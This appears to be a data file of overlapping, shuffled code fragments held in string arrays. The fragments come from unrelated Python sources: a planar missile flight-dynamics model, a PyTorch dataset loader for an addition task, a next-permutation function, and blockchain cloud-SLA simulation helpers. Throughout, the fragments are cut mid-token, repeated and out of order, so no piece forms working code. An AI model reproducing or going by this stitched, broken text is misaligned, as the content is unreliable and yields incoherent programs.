Tmp = 216.66 # Mach", "def __init__(self, initial_state): super().__init__(initial_state) def external(self, states, controls): return 0", "y <= 11000: Tmp = 288.16 - 0.0065*y else: Tmp", "'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self, states, controls): return", "T = 33000 elif t < self.t2: m = 113.205", "t2 = 8.5 name = 'missile' def __init__(self, initial_state): super().__init__(initial_state)", "state.ravel() a = control # temperature if y <= 11000:", "= 1 t1 = 1.5 t2 = 8.5 name =", "Mach number M = V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note:", "135 - 14.53*t T = 33000 elif t < self.t2:", "K = 0.2 else: K = 0.2 + 0.246*(M -", "closed after t=t1) if t < self.t1: m = 135", "g = 9.80665 S = 1 t1 = 1.5 t2", "= 'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self, states, controls):", "M < 1.15: K = 0.2 else: K = 0.2", "1 t1 = 1.5 t2 = 8.5 name = 'missile'", "1.10: Cd0 = 0.04 + 0.06*(M - 1.03) else: Cd0", "initial_state): super().__init__(initial_state) def external(self, states, controls): return 0 # return", "t1 = 1.5 t2 = 8.5 name = 'missile' def", "0.2 + 0.246*(M - 1.15) D0 = Cd0*Q*self.S Di =", "t < self.t1: m = 135 - 14.53*t T =", "- 1.15) D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D =", "fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288 g =", "Tmp = 288.16 - 0.0065*y else: Tmp = 216.66 #", "14.53*t T = 33000 elif t < self.t2: m =", "name = 'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self, states,", "1.03: Cd0 = 0.02 + 0.2*(M - 0.93) elif M", "from fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288 g", "+ 0.06*(M - 1.03) else: Cd0 = 0.0442 - 0.007*(M", "288.16 - 0.0065*y else: Tmp = 216.66 # Mach number", "a = control # temperature if y <= 11000: Tmp", "dgammadt = (a - self.g*np.cos(gamma))/V return np.vstack([dxdt, dydt, dVdt, dgammadt])", "return 0 # return {\"wind\" : [(0, 0), (0, 0)]}", "V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T - D)/m -", "- 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in [0,", "dydt = V*np.sin(gamma) dVdt = (T - D)/m - self.g*np.sin(gamma)", "temperature if y <= 11000: Tmp = 288.16 - 0.0065*y", "0.93: Cd0 = 0.02 elif M < 1.03: Cd0 =", "< self.t2: m = 113.205 - 3.331*t T = 7500", "- 1.03) else: Cd0 = 0.0442 - 0.007*(M - 1.10)", "(1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in", "0.0065*y else: Tmp = 216.66 # Mach number M =", "effects def deriv(self, state, t, control, external): # state and", "state, t, control, external): # state and (control) input x,", "- 14.53*t T = 33000 elif t < self.t2: m", "= state.ravel() a = control # temperature if y <=", "0.007*(M - 1.10) if M < 1.15: K = 0.2", "< 1.15: K = 0.2 else: K = 0.2 +", "Cd0 = 0.02 + 0.2*(M - 0.93) elif M <", "216.66 # Mach number M = V/(1.4*self.R*Tmp)**0.5 # Mass and", "= (T - D)/m - self.g*np.sin(gamma) dgammadt = (a -", "= V*np.sin(gamma) dVdt = (T - D)/m - self.g*np.sin(gamma) dgammadt", "6.0*1e-14*y**3) # y in [0, 20000] Q = 0.5*rho*V**2 #", "Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D = D0 + Di dxdt", "else: Tmp = 216.66 # Mach number M = V/(1.4*self.R*Tmp)**0.5", "3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in [0, 20000] Q =", "= 8.5 name = 'missile' def __init__(self, initial_state): super().__init__(initial_state) def", "external(self, states, controls): return 0 # return {\"wind\" : [(0,", "guidance loop is closed after t=t1) if t < self.t1:", "number M = V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note: guidance", "- 6.0*1e-14*y**3) # y in [0, 20000] Q = 0.5*rho*V**2", "- D)/m - self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V return", "Cd0 = 0.0442 - 0.007*(M - 1.10) if M <", "= 0.04 + 0.06*(M - 1.03) else: Cd0 = 0.0442", "BaseSystem class MissilePlanar(BaseSystem): R = 288 g = 9.80665 S", "0.5*rho*V**2 # Drag model if M < 0.93: Cd0 =", "(control) input x, y, V, gamma, = state.ravel() a =", "< 1.10: Cd0 = 0.04 + 0.06*(M - 1.03) else:", "Cd0 = 0.04 + 0.06*(M - 1.03) else: Cd0 =", "- self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V return np.vstack([dxdt, dydt,", "= 216.66 # Mach number M = V/(1.4*self.R*Tmp)**0.5 # Mass", "K = 0.2 + 0.246*(M - 1.15) D0 = Cd0*Q*self.S", "# temperature if y <= 11000: Tmp = 288.16 -", "import numpy as np from fym.core import BaseSystem class MissilePlanar(BaseSystem):", "elif t < self.t2: m = 113.205 - 3.331*t T", "+ 0.246*(M - 1.15) D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S)", "m = 113.205 - 3.331*t T = 7500 else: m", "< 1.03: Cd0 = 0.02 + 0.2*(M - 0.93) elif", "MissilePlanar(BaseSystem): R = 288 g = 9.80665 S = 1", "# Mass and thrust (Note: guidance loop is closed after", "0 # density and dynamic pressure rho = (1.15579 -", "V, gamma, = state.ravel() a = control # temperature if", "[(0, 0), (0, 0)]} # no external effects def deriv(self,", "# state and (control) input x, y, V, gamma, =" ]
[ "train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set", "range(input_size): for j in range(input_size): inp = torch.zeros(2 * input_size)", "# Copyright (c) Facebook, Inc. and its affiliates. # This", "Copyright (c) Facebook, Inc. and its affiliates. # This source", "in the # LICENSE file in the root directory of", "typing import Iterable, Optional, Tuple import torch from torch.utils.data import", "Iterable, Optional, Tuple import torch from torch.utils.data import DataLoader class", "under the MIT license found in the # LICENSE file", "Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning", "file in the root directory of this source tree. from", "= k % len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[", "len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] )", "this source tree. from typing import Iterable, Optional, Tuple import", "Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an iterator for tuple(sender_input, labels,", "range(input_size): inp = torch.zeros(2 * input_size) inp[i] = 1.0 inp[input_size", "[len_train, len(full_data) - len_train] ) validation_set = train_set train_set =", "k % len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor,", "def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor,", "LICENSE file in the root directory of this source tree.", "= torch.zeros(2 * input_size) inp[i] = 1.0 inp[input_size + j]", "the root directory of this source tree. from typing import", "= int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data)", "i in range(input_size): for j in range(input_size): inp = torch.zeros(2", "self.scaling_factor = scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor def", "receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set,", "self.scaling_factor def __getitem__(self, k): k = k % len(self.examples) return", "len_train] ) validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader,", "data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for i in range(len(data))]", "examples, scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor def __len__(self):", "Optional, Tuple import torch from torch.utils.data import DataLoader class ScaledDataset:", "examples self.scaling_factor = scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor", "torch.utils.data import DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples", "-> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]]", "len_train = int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train,", "batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data = []", "= DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size)", "= torch.zeros(2 * input_size - 1) label[i + j] =", "(c) Facebook, Inc. and its affiliates. # This source code", "1.0 label = torch.zeros(2 * input_size - 1) label[i +", "], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an iterator for", "holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set =", "opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set,", "# LICENSE file in the root directory of this source", "Tuple import torch from torch.utils.data import DataLoader class ScaledDataset: def", "def __init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor", "affiliates. # This source code is licensed under the MIT", "the MIT license found in the # LICENSE file in", "found in the # LICENSE file in the root directory", "* input_size - 1) label[i + j] = 1.0 data.append(inp)", "validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader", "inp[i] = 1.0 inp[input_size + j] = 1.0 label =", "- len_train] ) validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler)", "full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set, holdout_set", "[] labels = [] for i in range(input_size): for j", "import torch from torch.utils.data import DataLoader class ScaledDataset: def __init__(self,", "Optional[torch.Tensor]] ]]: \"Returning an iterator for tuple(sender_input, labels, receiver_input).\" full_data", "+ j] = 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i])", "license found in the # LICENSE file in the root", "in range(input_size): inp = torch.zeros(2 * input_size) inp[i] = 1.0", "self.examples = examples self.scaling_factor = scaling_factor def __len__(self): return len(self.examples)", "j] = 1.0 label = torch.zeros(2 * input_size - 1)", "\\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data", "Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an iterator", "get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor,", "tuple(sender_input, labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density *", "Inc. and its affiliates. # This source code is licensed", "= [] for i in range(input_size): for j in range(input_size):", "data = [] labels = [] for i in range(input_size):", "train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set,", "label = torch.zeros(2 * input_size - 1) label[i + j]", "import Iterable, Optional, Tuple import torch from torch.utils.data import DataLoader", "torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an iterator for tuple(sender_input, labels, receiver_input).\"", "= enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set, holdout_set =", "def __getitem__(self, k): k = k % len(self.examples) return self.examples[k]", "= 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for i", "1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for i in", "torch.zeros(2 * input_size - 1) label[i + j] = 1.0", "batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size):", "torch from torch.utils.data import DataLoader class ScaledDataset: def __init__(self, examples,", "= train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader =", "def enumerate_dataset(input_size): data = [] labels = [] for i", "inp = torch.zeros(2 * input_size) inp[i] = 1.0 inp[input_size +", "directory of this source tree. from typing import Iterable, Optional,", "for j in range(input_size): inp = torch.zeros(2 * input_size) inp[i]", "validation_loader, holdout_loader def enumerate_dataset(input_size): data = [] labels = []", "inp[input_size + j] = 1.0 label = torch.zeros(2 * input_size", "__len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self, k): k =", "* self.scaling_factor def __getitem__(self, k): k = k % len(self.examples)", "+ j] = 1.0 label = torch.zeros(2 * input_size -", "scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor def __len__(self): return", "self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[", "train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)),", "k): k = k % len(self.examples) return self.examples[k] def get_dataloaders(opts)", "int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) -", "% len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor,", "holdout_loader def enumerate_dataset(input_size): data = [] labels = [] for", "is licensed under the MIT license found in the #", "return len(self.examples) * self.scaling_factor def __getitem__(self, k): k = k", "validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\", "= [] labels = [] for i in range(input_size): for", "holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set,", "the # LICENSE file in the root directory of this", "= scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self,", "in the root directory of this source tree. from typing", "scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self, k):", "enumerate_dataset(input_size): data = [] labels = [] for i in", "labels = [] for i in range(input_size): for j in", "torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set = train_set train_set", "= 1.0 inp[input_size + j] = 1.0 label = torch.zeros(2", "__init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor def", "enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data,", "from torch.utils.data import DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1):", "labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data))", "k = k % len(self.examples) return self.examples[k] def get_dataloaders(opts) ->", "]]: \"Returning an iterator for tuple(sender_input, labels, receiver_input).\" full_data =", "import DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples =", "\\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader", "return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data = [] labels", "an iterator for tuple(sender_input, labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train", "input_size) inp[i] = 1.0 inp[input_size + j] = 1.0 label", "DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data =", "DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples = examples", "torch.zeros(2 * input_size) inp[i] = 1.0 inp[input_size + j] =", "This source code is licensed under the MIT license found", "shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader,", ") validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader,", "- 1) label[i + j] = 1.0 data.append(inp) labels.append(label) data_tuples", "label[i + j] = 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i],", "[] for i in range(input_size): for j in range(input_size): inp", "j in range(input_size): inp = torch.zeros(2 * input_size) inp[i] =", "len(self.examples) * self.scaling_factor def __getitem__(self, k): k = k %", "train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size,", "root directory of this source tree. from typing import Iterable,", "code is licensed under the MIT license found in the", "* input_size) inp[i] = 1.0 inp[input_size + j] = 1.0", "batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader,", "in range(input_size): for j in range(input_size): inp = torch.zeros(2 *", "train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data = [] labels =", "= ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True),", "source code is licensed under the MIT license found in", "licensed under the MIT license found in the # LICENSE", "of this source tree. from typing import Iterable, Optional, Tuple", "ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\", "data_tuples = [(data[i], labels[i]) for i in range(len(data))] return data_tuples", "DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\ DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return", "def __len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self, k): k", "and its affiliates. # This source code is licensed under", "input_size - 1) label[i + j] = 1.0 data.append(inp) labels.append(label)", "<filename>egg/zoo/addition/data.py<gh_stars>1-10 # Copyright (c) Facebook, Inc. and its affiliates. #", "labels.append(label) data_tuples = [(data[i], labels[i]) for i in range(len(data))] return", "* len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train]", "DataLoader(validation_set, batch_size=len(validation_set)), \\ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def", "MIT license found in the # LICENSE file in the", "tree. from typing import Iterable, Optional, Tuple import torch from", "= examples self.scaling_factor = scaling_factor def __len__(self): return len(self.examples) *", "ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor =", "# This source code is licensed under the MIT license", "= 1.0 label = torch.zeros(2 * input_size - 1) label[i", "Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an iterator for tuple(sender_input,", "1) label[i + j] = 1.0 data.append(inp) labels.append(label) data_tuples =", "from typing import Iterable, Optional, Tuple import torch from torch.utils.data", "source tree. from typing import Iterable, Optional, Tuple import torch", "return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ],", "its affiliates. # This source code is licensed under the", "\"Returning an iterator for tuple(sender_input, labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size)", "iterator for tuple(sender_input, labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train =", "class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor", "len(full_data) - len_train] ) validation_set = train_set train_set = ScaledDataset(train_set,", "for i in range(input_size): for j in range(input_size): inp =", "__getitem__(self, k): k = k % len(self.examples) return self.examples[k] def", "Facebook, Inc. and its affiliates. # This source code is", "= torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set = train_set", "Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]:", "for tuple(sender_input, labels, receiver_input).\" full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density", "1.0 inp[input_size + j] = 1.0 label = torch.zeros(2 *", "len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]]", "torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: \"Returning an", "j] = 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for" ]
[ "algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b = S[-1] for i,", "+ 1] + sorted(F[-i + 1 :]) return \"\".join(F) else:", "F[: -i + 1] + sorted(F[-i + 1 :]) return", "= F[: -i + 1] + sorted(F[-i + 1 :])", "\"\"\" Next lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b", "F[-i], F[-j] = F[-j], F[-i] F = F[: -i +", "next_lexo(S): b = S[-1] for i, a in enumerate(reversed(S[:-1]), 2):", ":]) return \"\".join(F) else: b = a return \"no answer\"", "def next_lexo(S): b = S[-1] for i, a in enumerate(reversed(S[:-1]),", "we have the pivot a for j, b in enumerate(reversed(S),", "enumerate(reversed(S), 1): if b > a: F = list(S) F[-i],", "i, a in enumerate(reversed(S[:-1]), 2): if a < b: #", "2): if a < b: # we have the pivot", "\"\"\" def next_lexo(S): b = S[-1] for i, a in", "for i, a in enumerate(reversed(S[:-1]), 2): if a < b:", "= S[-1] for i, a in enumerate(reversed(S[:-1]), 2): if a", "F[-j] = F[-j], F[-i] F = F[: -i + 1]", "enumerate(reversed(S[:-1]), 2): if a < b: # we have the", "sorted(F[-i + 1 :]) return \"\".join(F) else: b = a", "# we have the pivot a for j, b in", "if b > a: F = list(S) F[-i], F[-j] =", "in enumerate(reversed(S), 1): if b > a: F = list(S)", "> a: F = list(S) F[-i], F[-j] = F[-j], F[-i]", "F[-j], F[-i] F = F[: -i + 1] + sorted(F[-i", "b > a: F = list(S) F[-i], F[-j] = F[-j],", "list(S) F[-i], F[-j] = F[-j], F[-i] F = F[: -i", "have the pivot a for j, b in enumerate(reversed(S), 1):", "1): if b > a: F = list(S) F[-i], F[-j]", "F = F[: -i + 1] + sorted(F[-i + 1", "https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b = S[-1] for i, a", "F = list(S) F[-i], F[-j] = F[-j], F[-i] F =", "lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b = S[-1]", "S[-1] for i, a in enumerate(reversed(S[:-1]), 2): if a <", "a for j, b in enumerate(reversed(S), 1): if b >", "+ sorted(F[-i + 1 :]) return \"\".join(F) else: b =", "= list(S) F[-i], F[-j] = F[-j], F[-i] F = F[:", "b = S[-1] for i, a in enumerate(reversed(S[:-1]), 2): if", "the pivot a for j, b in enumerate(reversed(S), 1): if", "a in enumerate(reversed(S[:-1]), 2): if a < b: # we", "+ 1 :]) return \"\".join(F) else: b = a return", "< b: # we have the pivot a for j,", "a: F = list(S) F[-i], F[-j] = F[-j], F[-i] F", "for j, b in enumerate(reversed(S), 1): if b > a:", "-i + 1] + sorted(F[-i + 1 :]) return \"\".join(F)", "1] + sorted(F[-i + 1 :]) return \"\".join(F) else: b", "1 :]) return \"\".join(F) else: b = a return \"no", "= F[-j], F[-i] F = F[: -i + 1] +", "in enumerate(reversed(S[:-1]), 2): if a < b: # we have", "permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b = S[-1] for", "j, b in enumerate(reversed(S), 1): if b > a: F", "b: # we have the pivot a for j, b", "pivot a for j, b in enumerate(reversed(S), 1): if b", "if a < b: # we have the pivot a", "b in enumerate(reversed(S), 1): if b > a: F =", "Next lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm \"\"\" def next_lexo(S): b =", "F[-i] F = F[: -i + 1] + sorted(F[-i +", "a < b: # we have the pivot a for" ]
[ "filename) with open(filepath) as file: contracts_summary = json.loads(file.read()) if msg:", "int number\") if s < MIN_VAL or s > MAX_VAL:", "as file: contracts_summary = json.loads(file.read()) if msg: print(f'Config file retrieved", "bool = True): if msg: print('Retrieve config file...') filename =", "try: s = int(arg) except ValueError: raise ArgumentTypeError(\"must be a", "+ 1): statuses.append(await c.upload()) else: for c in contracts: if", "== 'delete': if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) + 1:", "{v}') else: return check_statuses(statuses) def get_credentials(blockchain: str) -> tuple: if", "= json.load(file) contract_abi = contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path)", "-> bool: for idx in range(len(statuses)): if statuses[idx] == 0:", "-> list: with open(path) as file: contract_json = json.load(file) contract_abi", "range(len(statuses)): if statuses[idx] == 0: return False return True def", "_ in range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else:", "return check_statuses(statuses) def get_credentials(blockchain: str) -> tuple: if blockchain ==", "fn == 'file_check_undeleted_file': statuses.append(await c.read()) if fn == 'corrupted_file_check': statuses.append(await", "def exists_mkdir(paths: []): for path in paths: if not os.path.exists(path):", "filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath)", "return False return True def exists_mkdir(paths: []): for path in", "'delete': if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) + 1: for", "import ArgumentTypeError from eth_typing import Address from web3.contract import Contract", "quorum_private_keys ) return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str)", ") return polygon_private_keys from settings import ( quorum_private_keys ) return", "str) -> list: with open(path) as file: contract_json = json.load(file)", "= os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file: contracts_summary =", "retrieved at {filepath}.') return contracts_summary def range_limited_val(arg: str) -> int:", "= json.loads(file.read()) if msg: print(f'Config file retrieved at {filepath}.') return", "int: \"\"\" Type function for argparse - int within some", "filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file: contracts_summary", "function for argparse - int within some predefined bounds. \"\"\"", "if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool =", "MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor: float, fn:", "statuses = [True] try: if status_init: for c in contracts:", "await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read' or fn", "import Address from web3.contract import Contract from settings import MIN_VAL,", "polygon_private_keys from settings import ( quorum_private_keys ) return quorum_private_keys def", "open(path) as file: contract_json = json.load(file) contract_abi = contract_json['abi'] return", "json.load(file) contract_abi = contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract", "def get_contract(w3, address: Address, compiled_contract_path: str) -> Contract: def get_abi(path:", "as file: contract_json = json.load(file) contract_abi = contract_json['abi'] return contract_abi", "DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor: float, fn: str,", "/ DEPLOYED_CONTRACTS) + 1: for _ in range(abs(c.tx_upload_count - (round(factor", "print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses) def get_credentials(blockchain: str) ->", "if blockchain == 'polygon': from settings import ( polygon_private_keys )", "str, msg: bool = True): if msg: print('Retrieve config file...')", "at {filepath}.') return contracts_summary def range_limited_val(arg: str) -> int: \"\"\"", "+ 1))): statuses.append(await c.upload()) except ValueError as v: print(f'{type(v)} [init_sim]:", "polygon_private_keys ) return polygon_private_keys from settings import ( quorum_private_keys )", "= contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address,", "== 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if fn", "if fn == 'delete': if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS)", "== 0: return False return True def exists_mkdir(paths: []): for", "bounds. \"\"\" try: s = int(arg) except ValueError: raise ArgumentTypeError(\"must", "c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read' or fn ==", "statuses.append(await c.another_file_upload_read()) if fn == 'delete': for _ in range(round(factor", "Use different cloud_addresses for each contract instance cloud_address, cloud_status_ok =", "file: contracts_summary = json.loads(file.read()) if msg: print(f'Config file retrieved at", "str) -> int: \"\"\" Type function for argparse - int", "contract instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if", "contract def check_statuses(statuses: []) -> bool: for idx in range(len(statuses)):", "print('Retrieve config file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR,", "import json import os from argparse import ArgumentTypeError from eth_typing", "if status_init: for c in contracts: # Use different cloud_addresses", "1: for _ in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) +", "if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) + 1: for _", "get_contract(w3, address: Address, compiled_contract_path: str) -> Contract: def get_abi(path: str)", "ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}\") return s", "range_limited_val(arg: str) -> int: \"\"\" Type function for argparse -", "c in contracts: if fn == 'delete': if c.tx_upload_count <", "for c in contracts: # Use different cloud_addresses for each", "= int(arg) except ValueError: raise ArgumentTypeError(\"must be a int number\")", "each contract instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok)", "[init_sim]: {v}') else: return check_statuses(statuses) def get_credentials(blockchain: str) -> tuple:", "contract_json = json.load(file) contract_abi = contract_json['abi'] return contract_abi abi =", "< MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f\"argument must be", "os from argparse import ArgumentTypeError from eth_typing import Address from", "DEPLOYED_CONTRACTS) + 